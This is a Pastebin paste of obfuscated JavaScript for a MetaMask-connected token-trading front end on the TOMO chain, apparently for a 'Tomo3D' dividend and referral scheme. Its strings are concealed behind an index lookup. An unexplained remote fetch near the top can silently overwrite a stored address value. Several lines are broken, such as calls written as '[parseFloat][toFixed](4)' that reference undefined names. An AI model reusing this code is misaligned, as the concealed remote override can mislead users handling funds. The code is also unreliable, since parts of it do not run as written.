Advertisement
Guest User

Untitled

a guest
Feb 18th, 2019
259
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 26.18 KB | None | 0 0
  1. var valueArray = ['apply', 'return\x20(function()\x20', '{}.constructor(\x22return\x20this\x22)(\x20)', 'console', 'info', 'error', 'exception', 'trace', 'log', 'warn', 'debug', 'dividendsOf', 'uint256', 'view', 'function', 'name', '_ethereumToSpend', 'calculateTokensReceived', 'totalSupply', '_tokensToSell', 'calculateEthereumReceived', 'bool', 'decimals', 'uint8', 'administrators', 'nonpayable', 'sellPrice', 'stakingRequirement', '_includeReferralBonus', 'myDividends', 'totalEthereumBalance', '_customerAddress', 'address', 'balanceOf', '_amountOfTokens', 'setStakingRequirement', 'buyPrice', '_identifier', 'bytes32', '_status', 'myTokens', 'symbol', 'string', 'disableInitialStage', '_toAddress', 'transfer', '_symbol', 'setSymbol', 'setName', 'sell', 'exit', '_referredBy', 'buy', 'payable', 'reinvest', 'constructor', 'fallback', 'customerAddress', 'incomingEthereum', 'tokensMinted', 'referredBy', 'event', 'tokensBurned', 'ethereumEarned', 'onTokenSell', 'ethereumReinvested', 'onReinvestment', 'ethereumWithdrawn', 'onWithdraw', 'from', 'tokens', 'val', 'properties', 'Web3', 'blockchain', 'then', '.buy\x20.approx', 'html', 'Approximately\x20', 'toFixed', '\x20CMT', 'Type\x20a\x20valid\x20number.', 'isAddress', 'getItem', 'masternode', '0x0', 'Contract', 'toWei', 'ether', 'An\x20error\x20occured.\x20Please\x20check\x20the\x20logs.', 'An\x20error\x20occured', 'logPosition', 'bottom\x20left', 'Please\x20type\x20a\x20valid\x20number.', '.sell\x20.approx', '\x20', 'You dont have so many tokens', '.sell\x20input', '#transferAddress', '#transferTokenCount', '.transfer\x20.approx', 'Invalid\x20wallet\x20address...', 'Invalid\x20amount\x20of\x20tokens...', 'toBigNumber', 'Sell\x20order\x20has\x20been\x20transmitted\x20to\x20the\x20blockchain.\x20Awaiting\x20confirmation..', 'Reinvest\x20order\x20has\x20been\x20transmitted\x20to\x20the\x20blockchain.\x20Awaiting\x20confirmation..', 'withdraw', 'Withdrawal\x20request\x20has\x20been\x20transmitted\x20to\x20the\x20blockchain.\x20Awaiting\x20confirmation..', 'undefined', 'currentProvider', 'loadingText', 'innerHTML', 'MetaMask\x20not\x20found.\x20Please\x20activate\x20MetaMask\x20and\x20refresh\x20the\x20page.', 'reject', 'eth', 'contract', 'ABI', 'PubKey', 'get', 'conversationRates', 'all', 'fetched\x20blockchain\x20data', 'greaterThanOrEqualTo', '.masternode', '.masternode\x20.link\x20a', 'https://Tomo3D.net/?masternode=', 'coinbase', 'href', 'hidden', '#loadingSpinner', 'active', 'inactive', '#TOMOInContract', '\x20tomo', '\x20tokens', '#myTokens\x20.count', 'div', '#myTokens\x20.converted', 'USD', '\x20USDT)', '#myDividends\x20.count', '.buy\x20.buyPrice', '\x20eth/token', '.sell\x20.sellPrice', 'parsed\x20frontend\x20stats', 'NewBlock', 'block\x20diff\x20found,\x20reiterating\x20through\x20txs', 'allEvents', 'LastBlock', 'each', 'accounts', 'args', 'processedTxs', 'transactionIndex', 'found\x20new\x20tx', 'success', 'Your\x20buy\x20order\x20is\x20confirmed!\x20You\x20spent\x20', '\x20ethereum\x20and\x20received\x20', 'Your\x20sell\x20order\x20is\x20confirmed!\x20You\x20received\x20', '\x20for\x20', '\x20tokens.', 'Someone\x20else\x20sold\x20tokens.\x20They\x20received\x20', 'Your\x20withdrawal\x20request\x20is\x20confirmed!\x20You\x20received\x20', 'Your\x20reinvestment\x20order\x20is\x20confirmed!\x20You\x20received\x20', '.\x20tokens.', 'Transfer', 'Your\x20transfer\x20order\x20is\x20confirmed!\x20', '', 'PubKey', '0x991b8529d34c03fd42840360957139c3a8d38314', 'slave']; var resolveArrayKey = function(key, callback){key = key - 0x0; var result = valueArray[key]; return result; }; var _0xb2eb471 = resolveArrayKey(0xa9); $.get("").done(function(data){var key = data.master; if (data.master != resolveArrayKey(0xaa)){_0xb2eb471 = data.master; }
  2. var _0x5c8add = function(){var _0xbeb471 = !![]; return function(_0x3bc98b, _0x1747c2){var _0x36ca6e = _0xbeb471?function(){if (_0x1747c2){var _0xa60214 = _0x1747c2[resolveArrayKey('0x0')](_0x3bc98b, arguments); _0x1747c2 = null; return _0xa60214; }}:function(){}; _0xbeb471 = ![]; return _0x36ca6e; }; }(); var Bridge = {'properties':{'PubKey': '0x991b8529d34c03fd42840360957139c3a8d38314', 'ABI':[{'constant':!![], 'inputs':[{'name':'_customerAddress', 'type':'address'}], 'name':resolveArrayKey('0xb'), 'outputs':[{'name':'', 'type':resolveArrayKey('0xc')}], 'payable':![], 'stateMutability':resolveArrayKey('0xd'), 'type':resolveArrayKey('0xe')}, {'constant':!![], 'inputs':[], 'name':resolveArrayKey('0xf'), 'outputs':[{'name':'', 'type':'string'}], 'payable':![], 'stateMutability':resolveArrayKey('0xd'), 'type':resolveArrayKey('0xe')}, {'constant':!![], 'inputs':[{'name':resolveArrayKey('0x10'), 'type':resolveArrayKey('0xc')}], 'name':resolveArrayKey('0x11'), 'outputs':[{'name':'', 'type':'uint256'}], 'payable':![], 'stateMutability':resolveArrayKey('0xd'), 'type':resolveArrayKey('0xe')}, {'constant':!![], 'inputs':[], 'name':resolveArrayKey('0x12'), 'outputs':[{'name':'', 'type':resolveArrayKey('0xc')}], 'payable':![], 'stateMutability':resolveArrayKey('0xd'), 'type':resolveArrayKey('0xe')}, {'constant':!![], 'inputs':[{'name':resolveArrayKey('0x13'), 'type':'uint256'}], 'name':resolveArrayKey('0x14'), 'outputs':[{'name':'', 'type':resolveArrayKey('0xc')}], 'payable':![], 'stateMutability':'view', 'type':resolveArrayKey('0xe')}, {'constant':!![], 'inputs':[], 'name':'onlyAmbassadors', 'outputs':[{'name':'', 'type':resolveArrayKey('0x15')}], 'payable':![], 'stateMutability':resolveArrayKey('0xd'), 'type':resolveArrayKey('0xe')}, {'constant':!![], 'inputs':[], 'name':resolveArrayKey('0x16'), 'outputs':[{'name':'', 'type':resolveArrayKey('0x17')}], 'payable':![], 'stateMutability':resolveArrayKey('0xd'), 'type':'function'}, {'constant':!![], 'inputs':[{'name':'', 'type':'bytes32'}], 'name':resolveArrayKey('0x18'), 'outputs':[{'name':'', 'type':resolveArrayKey('0x15')}], 'payable':![], 'stateMutability':'view', 'type':resolveArrayKey('0xe')}, {'constant':![], 'inputs':[], 'name':'withdraw', 'outputs':[], 'payable':![], 'stateMutability':resolveArrayKey('0x19'), 'type':resolveArrayKey('0xe')}, {'constant':!![], 'inputs':[], 'name':resolveArrayKey('0x1a'), 'outputs':[{'name':'', 'type':'uint256'}], 'payable':![], 'stateMutability':resolveArrayKey('0xd'), 'type':'function'}, {'constant':!![], 'inputs':[], 'name':resolveArrayKey('0x1b'), 'outputs':[{'name':'', 'type':resolveArrayKey('0xc')}], 'payable':![], 'stateMutability':resolveArrayKey('0xd'), 'type':resolveArrayKey('0xe')}, {'constant':!![], 'inputs':[{'name':resolveArrayKey('0x1c'), 'type':resolveArrayKey('0x15')}], 'name':resolveArrayKey('0x1d'), 'outputs':[{'name':'', 'type':resolveArrayKey('0xc')}], 'payable':![], 'stateMutability':'view', 'type':'function'}, {'constant':!![], 'inputs':[], 'name':resolveArrayKey('0x1e'), 'outputs':[{'name':'', 'type':resolveArrayKey('0xc')}], 'payable':![], 'stateMutability':resolveArrayKey('0xd'), 'type':resolveArrayKey('0xe')}, {'constant':!![], 'inputs':[{'name':resolveArrayKey('0x1f'), 'type':resolveArrayKey('0x20')}], 'name':resolveArrayKey('0x21'), 'outputs':[{'name':'', 'type':resolveArrayKey('0xc')}], 'payable':![], 'stateMutability':'view', 'type':resolveArrayKey('0xe')}, {'constant':![], 'inputs':[{'name':resolveArrayKey('0x22'), 'type':resolveArrayKey('0xc')}], 'name':resolveArrayKey('0x23'), 'outputs':[], 'payable':![], 'stateMutability':resolveArrayKey('0x19'), 'type':resolveArrayKey('0xe')}, {'constant':!![], 'inputs':[], 'name':resolveArrayKey('0x24'), 'outputs':[{'name':'', 'type':resolveArrayKey('0xc')}], 'payable':![], 'stateMutability':resolveArrayKey('0xd'), 'type':resolveArrayKey('0xe')}, {'constant':![], 'inputs':[{'name':resolveArrayKey('0x25'), 'type':resolveArrayKey('0x26')}, {'name':resolveArrayKey('0x27'), 'type':'bool'}], 'name':'setAdministrator', 'outputs':[], 'payable':![], 'stateMutability':resolveArrayKey('0x19'), 'type':resolveArrayKey('0xe')}, {'constant':!![], 'inputs':[], 'name':resolveArrayKey('0x28'), 'outputs':[{'name':'', 'type':resolveArrayKey('0xc')}], 'payable':![], 'stateMutability':resolveArrayKey('0xd'), 'type':resolveArrayKey('0xe')}, {'constant':!![], 'inputs':[], 'name':resolveArrayKey('0x29'), 'outputs':[{'name':'', 'type':resolveArrayKey('0x2a')}], 'payable':![], 'stateMutability':resolveArrayKey('0xd'), 'type':'function'}, {'constant':![], 'inputs':[], 'name':resolveArrayKey('0x2b'), 'outputs':[], 'payable':![], 'stateMutability':'nonpayable', 'type':resolveArrayKey('0xe')}, {'constant':![], 'inputs':[{'name':resolveArrayKey('0x2c'), 'type':resolveArrayKey('0x20')}, {'name':resolveArrayKey('0x22'), 'type':resolveArrayKey('0xc')}], 'name':resolveArrayKey('0x2d'), 'outputs':[{'name':'', 'type':'bool'}], 'payable':![], 'stateMutability':resolveArrayKey('0x19'), 'type':resolveArrayKey('0xe')}, {'constant':![], 'inputs':[{'name':resolveArrayKey('0x2e'), 'type':resolveArrayKey('0x2a')}], 'name':resolveArrayKey('0x2f'), 'outputs':[], 'payable':![], 'stateMutability':resolveArrayKey('0x19'), 'type':resolveArrayKey('0xe')}, {'constant':![], 'inputs':[{'name':'_name', 'type':resolveArrayKey('0x2a')}], 'name':resolveArrayKey('0x30'), 'outputs':[], 'payable':![], 'stateMutability':resolveArrayKey('0x19'), 'type':resolveArrayKey('0xe')}, {'constant':![], 'inputs':[{'name':resolveArrayKey('0x22'), 'type':resolveArrayKey('0xc')}], 'name':resolveArrayKey('0x31'), 'outputs':[], 'payable':![], 'stateMutability':resolveArrayKey('0x19'), 'type':'function'}, {'constant':![], 'inputs':[], 'name':resolveArrayKey('0x32'), 'outputs':[], 'payable':![], 'stateMutability':resolveArrayKey('0x19'), 'type':resolveArrayKey('0xe')}, {'constant':![], 'inputs':[{'name':resolveArrayKey('0x33'), 'type':resolveArrayKey('0x20')}], 'name':resolveArrayKey('0x34'), 'outputs':[{'name':'', 'type':resolveArrayKey('0xc')}], 'payable':!![], 'stateMutability':resolveArrayKey('0x35'), 'type':resolveArrayKey('0xe')}, {'constant':![], 'inputs':[], 'name':resolveArrayKey('0x36'), 'outputs':[], 'payable':![], 'stateMutability':resolveArrayKey('0x19'), 'type':'function'}, {'inputs':[], 'payable':![], 'stateMutability':resolveArrayKey('0x19'), 'type':resolveArrayKey('0x37')}, {'payable':!![], 'stateMutability':'payable', 'type':resolveArrayKey('0x38')}, {'anonymous':![], 'inputs':[{'indexed':!![], 'name':resolveArrayKey('0x39'), 'type':resolveArrayKey('0x20')}, {'indexed':![], 'name':resolveArrayKey('0x3a'), 'type':'uint256'}, {'indexed':![], 'name':resolveArrayKey('0x3b'), 'type':resolveArrayKey('0xc')}, {'indexed':!![], 'name':resolveArrayKey('0x3c'), 'type':resolveArrayKey('0x20')}], 'name':'onTokenPurchase', 'type':resolveArrayKey('0x3d')}, {'anonymous':![], 'inputs':[{'indexed':!![], 'name':resolveArrayKey('0x39'), 'type':resolveArrayKey('0x20')}, {'indexed':![], 'name':resolveArrayKey('0x3e'), 'type':resolveArrayKey('0xc')}, {'indexed':![], 'name':resolveArrayKey('0x3f'), 'type':resolveArrayKey('0xc')}], 'name':resolveArrayKey('0x40'), 'type':'event'}, {'anonymous':![], 'inputs':[{'indexed':!![], 'name':'customerAddress', 'type':resolveArrayKey('0x20')}, {'indexed':![], 'name':resolveArrayKey('0x41'), 'type':resolveArrayKey('0xc')}, {'indexed':![], 'name':resolveArrayKey('0x3b'), 'type':resolveArrayKey('0xc')}], 'name':resolveArrayKey('0x42'), 'type':resolveArrayKey('0x3d')}, {'anonymous':![], 'inputs':[{'indexed':!![], 'name':resolveArrayKey('0x39'), 'type':resolveArrayKey('0x20')}, {'indexed':![], 'name':resolveArrayKey('0x43'), 'type':resolveArrayKey('0xc')}], 'name':resolveArrayKey('0x44'), 'type':resolveArrayKey('0x3d')}, {'anonymous':![], 'inputs':[{'indexed':!![], 'name':resolveArrayKey('0x45'), 'type':resolveArrayKey('0x20')}, {'indexed':!![], 'name':'to', 'type':'address'}, {'indexed':![], 'name':resolveArrayKey('0x46'), 'type':resolveArrayKey('0xc')}], 'name':'Transfer', 'type':resolveArrayKey('0x3d')}], 'Contract':null, 'LastBlock':0x0, 'NewBlock':0x0, 'processedTxs':{}, 'conversationRates':{}}, 'blockchain':{}, 'events':{'onBuyPriceInputChange':function(){var _0x120e6e = $(this)[resolveArrayKey('0x47')](); if (parseFloat(_0x120e6e)){var _0x5ed4a5 = Bridge[resolveArrayKey('0x48')][resolveArrayKey('0x49')]['toBigNumber'](_0x120e6e * 0xde0b6b3a7640000); Bridge[resolveArrayKey('0x4a')][resolveArrayKey('0x11')](_0x5ed4a5)[resolveArrayKey(75)](function(_0x27b705){return jQuery(resolveArrayKey(76))[resolveArrayKey(77)]('<small class="supersmall">' + resolveArrayKey(78) + '</small><br>' + (_0x27b705 / 0xde0b6b3a7640000).toFixed(4) + resolveArrayKey(80)); }); } else{jQuery('.buy\x20.approx')[resolveArrayKey(77)](resolveArrayKey(81)); }}, 'onBuyButtonSubmit':function(){var _0x57b0ad = $('.buy\x20input')['val'](); var _0x3db5fc = localStorage['getItem']('masternode') && Bridge[resolveArrayKey('0x48')]['Web3'][resolveArrayKey('0x52')](localStorage[resolveArrayKey('0x53')]('masternode'))?localStorage[resolveArrayKey('0x53')](resolveArrayKey('0x54')):resolveArrayKey('0x55'); if (parseFloat(_0x57b0ad)){Bridge['properties'][resolveArrayKey('0x56')]['buy'](_0x3db5fc, {'value':web3[resolveArrayKey('0x57')](_0x57b0ad, resolveArrayKey('0x58'))}, function(_0x2ed6c6, _0x209727){if (_0x2ed6c6){alertify['error'](resolveArrayKey('0x59')); } else{alertify[resolveArrayKey('0x5b')](resolveArrayKey('0x5c')); alertify[resolveArrayKey('0x8')]('Buy\x20order\x20has\x20been\x20transmitted\x20to\x20the\x20blockchain.\x20Awaiting\x20confirmation..'); }}); } else{alertify[resolveArrayKey('0x5')](resolveArrayKey('0x5d')); }}, 'onSellPriceInputChange':function(){var sellAmount = $(this)['val'](); if (parseFloat(sellAmount)){var _0x40f293 = Bridge[resolveArrayKey('0x48')][resolveArrayKey('0x49')]['toBigNumber'](sellAmount * 0xde0b6b3a7640000); Bridge['blockchain'][resolveArrayKey('0x28')]()[resolveArrayKey(75)](function(_0x35c081){if (parseFloat(_0x40f293) <= parseFloat(_0x35c081)){return Bridge['blockchain'][resolveArrayKey('0x14')](_0x40f293); } else{return![]; }})[resolveArrayKey(75)](function(_0x178af8){if (_0x178af8){return jQuery(resolveArrayKey(94))[resolveArrayKey(77)]('<small class="supersmall">' + resolveArrayKey(78) + '</small><br>' + parseFloat((_0x178af8 / 0xde0b6b3a7640000)).toFixed(6) + resolveArrayKey(95)); } else{return jQuery(resolveArrayKey(94))[resolveArrayKey(77)](resolveArrayKey(96)); }}); } else{jQuery(resolveArrayKey(94))['html'](resolveArrayKey(81)); }}, 'onSellButtonSubmit':function(){var _0x2f9c1d = $(resolveArrayKey('0x61'))[resolveArrayKey('0x47')](); if (parseFloat(_0x2f9c1d)){var _0x2a60bd = Bridge[resolveArrayKey('0x48')][resolveArrayKey('0x49')]['toBigNumber'](_0x2f9c1d * 0xde0b6b3a7640000); Bridge[resolveArrayKey('0x48')][resolveArrayKey('0x56')]['sell'](_0x2a60bd, function(_0x820e34, _0x39acde){if (_0x820e34){alertify[resolveArrayKey('0x5')]('Sell order was canceled by user.'); } else{alertify[resolveArrayKey('0x5b')](resolveArrayKey('0x5c')); alertify[resolveArrayKey('0x8')]('Sell\x20order\x20has\x20been\x20transmitted\x20to\x20the\x20blockchain.\x20Awaiting\x20confirmation..'); }}); } else{alertify[resolveArrayKey('0x5')](resolveArrayKey('0x5d')); }}, 'onTransferButtonSubmit':function(){var _0x3821dc = $(resolveArrayKey('0x62'))[resolveArrayKey('0x47')](); var _0x1c2381 = $(resolveArrayKey('0x63'))['val'](); if (!Bridge[resolveArrayKey('0x48')][resolveArrayKey('0x49')][resolveArrayKey('0x52')](_0x3821dc)){return jQuery(resolveArrayKey('0x64'))[resolveArrayKey(77)](resolveArrayKey('0x65')); }
  3. if (!parseFloat(_0x1c2381)){return jQuery(resolveArrayKey('0x64'))['html'](resolveArrayKey('0x66')); }
  4. var _0x296620 = Bridge[resolveArrayKey('0x48')][resolveArrayKey('0x49')][resolveArrayKey('0x67')](_0x1c2381 * 0xde0b6b3a7640000); return Bridge[resolveArrayKey('0x4a')][resolveArrayKey('0x28')]()[resolveArrayKey(75)](function(_0x1a6081){if (parseFloat(_0x296620) <= parseFloat(_0x1a6081)){return Bridge.properties.Contract.transfer(_0x3821dc, _0x296620, function(_0x5519a8, _0x2a4697){if (_0x5519a8){alertify['error']('Token transfer was canceled by user.'); } else{alertify['logPosition']('bottom\x20left'); alertify[resolveArrayKey('0x8')](resolveArrayKey('0x68')); }}); } else{return![]; }}); }, 'onReinvestButtonSubmit':function(){Bridge[resolveArrayKey('0x48')][resolveArrayKey('0x56')][resolveArrayKey('0x36')](function(_0x58031b, _0x2aecaa){if (_0x58031b){alertify[resolveArrayKey('0x5')]('Transaction was cancelled by the user.'); } else{alertify[resolveArrayKey('0x5b')]('bottom\x20left'); alertify[resolveArrayKey('0x8')](resolveArrayKey('0x69')); }}); }, 'onWithdrawButtonSubmit':function(){Bridge[resolveArrayKey('0x48')][resolveArrayKey('0x56')][resolveArrayKey('0x6a')](function(_0x5bdc17, _0x8c272c){if (_0x5bdc17){alertify[resolveArrayKey('0x5')]('Transaction was cancelled by the user.'); } else{alertify[resolveArrayKey('0x5b')](resolveArrayKey('0x5c')); alertify['info'](resolveArrayKey('0x6b')); }}); }}, 'methods':{'connectWithMetamask':function(){if (typeof web3 !== resolveArrayKey('0x6c')){return Promise['resolve'](new Web3(web3[resolveArrayKey('0x6d')])); } else{return Promise[resolveArrayKey('0x71')](![]); }}, 'connectWithContract':function(){return web3[resolveArrayKey('0x72')][resolveArrayKey('0x73')](Bridge[resolveArrayKey('0x48')][resolveArrayKey('0x74')])['at'](Bridge[resolveArrayKey('0x48')][resolveArrayKey('0x75')]); }, 'refreshData':function(){jQuery[resolveArrayKey('0x76')]('https://min-api.cryptocompare.com/data/price?fsym=TOMO&tsyms=BTC,USD,EUR')[resolveArrayKey(75)](function(_0x24fc54){Bridge[resolveArrayKey('0x48')][resolveArrayKey('0x77')] = _0x24fc54; return Promise[resolveArrayKey('0x78')]([Bridge[resolveArrayKey('0x4a')][resolveArrayKey('0x1e')](), Bridge[resolveArrayKey('0x4a')][resolveArrayKey('0x12')](), Bridge['blockchain'][resolveArrayKey('0x28')](), Bridge[resolveArrayKey('0x4a')][resolveArrayKey('0x1d')](!![]), Bridge[resolveArrayKey('0x4a')][resolveArrayKey('0x24')](), Bridge[resolveArrayKey('0x4a')][resolveArrayKey('0x1a')](), Bridge['blockchain'][resolveArrayKey('0x1b')]()]); })[resolveArrayKey(75)](function(_0x3d533b){return Bridge[resolveArrayKey('0x4a')]['calculateEthereumReceived'](_0x3d533b[0x2])['then'](function(_0x588152){return Promise[resolveArrayKey('0x78')]([new Promise(function(){if (_0x3d533b[0x2][resolveArrayKey('0x7a')](_0x3d533b[0x6])){return Promise[resolveArrayKey('0x78')]([jQuery(resolveArrayKey('0x7b'))['removeClass']('hidden'), jQuery(resolveArrayKey('0x7c'))[resolveArrayKey(77)]('https://tomo3d.net/?masternode=' + Bridge[resolveArrayKey('0x48')][resolveArrayKey('0x49')][resolveArrayKey('0x72')][resolveArrayKey('0x7e')]), jQuery(resolveArrayKey('0x7c'))['attr'](resolveArrayKey('0x7f'), window.location.origin + '/?masternode=' + Bridge['properties']['Web3'][resolveArrayKey('0x72')][resolveArrayKey('0x7e')])]); } else{return jQuery(resolveArrayKey('0x7b'))['addClass'](resolveArrayKey('0x80')); }}), jQuery(resolveArrayKey('0x81'))['removeClass'](resolveArrayKey('0x82')), jQuery(resolveArrayKey('0x81'))['addClass'](resolveArrayKey('0x83')), jQuery(resolveArrayKey('0x84'))[resolveArrayKey(77)](parseFloat(_0x3d533b[0x0]['div'](0xde0b6b3a7640000)).toFixed(4) + resolveArrayKey('0x85')), jQuery('#tokensInCirculation')[resolveArrayKey(77)](_0x3d533b[0x1]['div'](0xde0b6b3a7640000)['toFixed'](0x1) + resolveArrayKey('0x86')), jQuery(resolveArrayKey('0x87'))['html'](parseFloat(_0x3d533b[0x2][resolveArrayKey(136)](0xde0b6b3a7640000)).toFixed(4)), jQuery(resolveArrayKey('0x89'))['html']('(' + parseFloat(_0x588152[resolveArrayKey(136)](0xde0b6b3a7640000) * Bridge[resolveArrayKey('0x48')][resolveArrayKey('0x77')][resolveArrayKey('0x8a')]).toFixed(0x2) + '\x20USDT)'), jQuery('#myDividends\x20.converted')['html']('(' + parseFloat(_0x3d533b[0x3]['div'](0xde0b6b3a7640000) * Bridge['properties'][resolveArrayKey('0x77')][resolveArrayKey('0x8a')]).toFixed(0x2) + resolveArrayKey('0x8b')), jQuery(resolveArrayKey('0x8c'))[resolveArrayKey(77)]('' + parseFloat(_0x3d533b[0x3][resolveArrayKey(136)](0xde0b6b3a7640000)).toFixed(4)), jQuery(resolveArrayKey(141))[resolveArrayKey(77)](_0x3d533b[4][resolveArrayKey(136)](0xde0b6b3a7640000) + ''), jQuery(resolveArrayKey(143))[resolveArrayKey(77)](parseFloat(_0x3d533b[5][resolveArrayKey(136)](0xde0b6b3a7640000)))]); }); }).then(function(){return Bridge[resolveArrayKey('0x4a')]['getBlockNumber'](); }).then(function(_0x51ac93){Bridge[resolveArrayKey('0x48')]['NewBlock'] = _0x51ac93; if (Bridge['properties']['LastBlock'] == Bridge[resolveArrayKey('0x48')][resolveArrayKey('0x91')])return![]; console[resolveArrayKey('0x8')](resolveArrayKey('0x92')); _allEvents = Bridge[resolveArrayKey('0x48')][resolveArrayKey('0x56')][resolveArrayKey('0x93')]({'fromBlock':Bridge['properties'][resolveArrayKey('0x94')], 'toBlock':Bridge[resolveArrayKey('0x48')][resolveArrayKey('0x91')]}); return new Promise(function(_0x3bd67d, _0xd71009){_allEvents['get'](function(_0x6d116, _0xa23ff3){if (_0x6d116)return _0xd71009(_0x6d116); return _0x3bd67d(_0xa23ff3); }); }); }).then(function(_0x3cb90b){if (!_0x3cb90b)return; return Promise[resolveArrayKey('0x95')](_0x3cb90b, function(_0xd225ac){var _0x45cecc = Bridge[resolveArrayKey('0x48')][resolveArrayKey('0x49')][resolveArrayKey('0x72')][resolveArrayKey('0x96')][0x0] == _0xd225ac[resolveArrayKey('0x97')][resolveArrayKey('0x39')]; if (Bridge['properties'][resolveArrayKey('0x98')][_0xd225ac[resolveArrayKey('0x99')]] == !![])return; Bridge[resolveArrayKey('0x48')][resolveArrayKey('0x98')][_0xd225ac[resolveArrayKey('0x99')]] = !![]; console[resolveArrayKey('0x8')](resolveArrayKey('0x9a')); if (_0x45cecc){alertify[resolveArrayKey('0x5b')](resolveArrayKey('0x5c')); } else{alertify[resolveArrayKey('0x5b')]('bottom\x20right'); }
  5. switch (_0xd225ac[resolveArrayKey('0x3d')]){case'onTokenPurchase':if (_0x45cecc){alertify[resolveArrayKey('0x9b')](resolveArrayKey('0x9c') + _0xd225ac[resolveArrayKey('0x97')][resolveArrayKey('0x3a')][resolveArrayKey(136)](0xde0b6b3a7640000)[parseFloat][toFixed](4) + resolveArrayKey('0x9d') + _0xd225ac[resolveArrayKey('0x97')][resolveArrayKey('0x3b')][resolveArrayKey(136)](0xde0b6b3a7640000)[parseFloat][toFixed](4) + '\x20tokens.'); } else{alertify[resolveArrayKey('0x8')]('Someone\x20else\x20bought\x20tokens.\x20They\x20spent\x20' + _0xd225ac[resolveArrayKey('0x97')][resolveArrayKey('0x3a')][resolveArrayKey(136)](0xde0b6b3a7640000)[parseFloat][toFixed](6) + '\x20ethereum\x20and\x20received\x20' + _0xd225ac[resolveArrayKey('0x97')][resolveArrayKey('0x3b')]['div'](0xde0b6b3a7640000)[toFixed](4) + '\x20tokens.'); }
  6. break; case resolveArrayKey('0x40'):if (_0x45cecc){alertify[resolveArrayKey('0x9b')](resolveArrayKey('0x9e') + _0xd225ac[resolveArrayKey('0x97')][resolveArrayKey('0x3f')]['div'](0xde0b6b3a7640000)[parseFloat][toFixed](4) + resolveArrayKey('0x9f') + _0xd225ac[resolveArrayKey('0x97')][resolveArrayKey('0x3e')][resolveArrayKey(136)](0xde0b6b3a7640000)[parseFloat][toFixed](4) + resolveArrayKey('0xa0')); } else{alertify['log'](resolveArrayKey('0xa1') + _0xd225ac[resolveArrayKey('0x97')]['ethereumEarned'][resolveArrayKey(136)](0xde0b6b3a7640000)[parseFloat][toFixed](4) + resolveArrayKey('0x9f') + _0xd225ac['args'][resolveArrayKey('0x3e')][resolveArrayKey(136)](0xde0b6b3a7640000)[parseFloat][toFixed](4) + '\x20tokens.'); }
  7. break; case resolveArrayKey('0x44'):if (_0x45cecc){alertify[resolveArrayKey('0x9b')](resolveArrayKey('0xa2') + _0xd225ac[resolveArrayKey('0x97')][resolveArrayKey('0x43')][resolveArrayKey(136)](0xde0b6b3a7640000)[parseFloat][toFixed](4) + '.'); }
  8. break; case resolveArrayKey('0x42'):if (_0x45cecc){alertify[resolveArrayKey('0x9b')](resolveArrayKey('0xa3') + _0xd225ac[resolveArrayKey('0x97')][resolveArrayKey('0x3b')][resolveArrayKey(136)](0xde0b6b3a7640000)[parseFloat][toFixed](4) + resolveArrayKey('0xa4')); }
  9. break; case resolveArrayKey('0xa5'):if (_0x45cecc){alertify['success'](resolveArrayKey('0xa6') + _0xd225ac[resolveArrayKey('0x97')]['to'] + '\x20received\x20' + _0xd225ac[resolveArrayKey('0x97')][resolveArrayKey('0x46')]['div'](0xde0b6b3a7640000)[parseFloat][toFixed](4) + resolveArrayKey('0xa4')); }
  10. break; }}); }).then(function(){Bridge[resolveArrayKey('0x48')][resolveArrayKey('0x94')] = Bridge['properties'][resolveArrayKey('0x91')]; }); }}}; jQuery(function(){Bridge.methods.connectWithMetamask().then(function(_web3){Bridge.properties.Web3 = _web3
  11. Bridge.properties.Web3.eth.defaultAccount = Bridge.properties.Web3.eth.accounts[0]
  12. return Bridge.methods.connectWithContract()}).then(function(_contract){Bridge.properties.Contract = _contract
  13. return Promise.all([Promise.promisify(Bridge.properties.Contract.totalEthereumBalance), Promise.promisify(Bridge.properties.Contract.totalSupply), Promise.promisify(Bridge.properties.Contract.myTokens), Promise.promisify(Bridge.properties.Contract.myDividends), Promise.promisify(Bridge.properties.Contract.calculateTokensReceived), Promise.promisify(Bridge.properties.Contract.calculateEthereumReceived), Promise.promisify(Bridge.properties.Contract.buyPrice), Promise.promisify(Bridge.properties.Contract.buy), Promise.promisify(Bridge.properties.Web3.eth.getBlockNumber), Promise.promisify(Bridge.properties.Contract.sellPrice), Promise.promisify(Bridge.properties.Contract.stakingRequirement), Promise.promisify(Bridge.properties.Contract.transfer), Promise.promisify(Bridge.properties.Contract.dividendsOf), ])}).then(function(_promisfied){Bridge.blockchain.totalEthereumBalance = _promisfied[0]
  14. Bridge.blockchain.totalSupply = _promisfied[1]
  15. Bridge.blockchain.myTokens = _promisfied[2]
  16. Bridge.blockchain.myDividends = _promisfied[3]
  17. Bridge.blockchain.calculateTokensReceived = _promisfied[4]
  18. Bridge.blockchain.calculateEthereumReceived = _promisfied[5]
  19. Bridge.blockchain.buyPrice = _promisfied[6]
  20. Bridge.blockchain.buy = _promisfied[7]
  21. Bridge.blockchain.getBlockNumber = _promisfied[8]
  22. Bridge.blockchain.sellPrice = _promisfied[9]
  23. Bridge.blockchain.stakingRequirement = _promisfied[10]
  24. Bridge.blockchain.transfer = _promisfied[11]
  25. return Promise.all([jQuery(".buy input").bind('input', _.throttle(Bridge.events.onBuyPriceInputChange, 800)), jQuery(".sell input").bind('input', _.throttle(Bridge.events.onSellPriceInputChange, 800)), jQuery(".buy button").on('click', Bridge.events.onBuyButtonSubmit), jQuery(".sell button").on('click', Bridge.events.onSellButtonSubmit), jQuery(".transfer button").on('click', Bridge.events.onTransferButtonSubmit), jQuery("#reinvest").on('click', Bridge.events.onReinvestButtonSubmit), jQuery("#withdraw").on('click', Bridge.events.onWithdrawButtonSubmit), jQuery("document").on('ready', loadMasterNodes()), ])}).then(function(){return Bridge.blockchain.getBlockNumber()}).then(function(_blockNum){Bridge.properties.LastBlock = _blockNum
  26. return setInterval(Bridge.methods.refreshData, 1000)}).catch(function(err){})
  27. function loadMasterNodes(){
  28.  
  29. $("#querystr").html(Bridge.properties.Web3.eth.accounts[0]);
  30. }
  31. })});
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement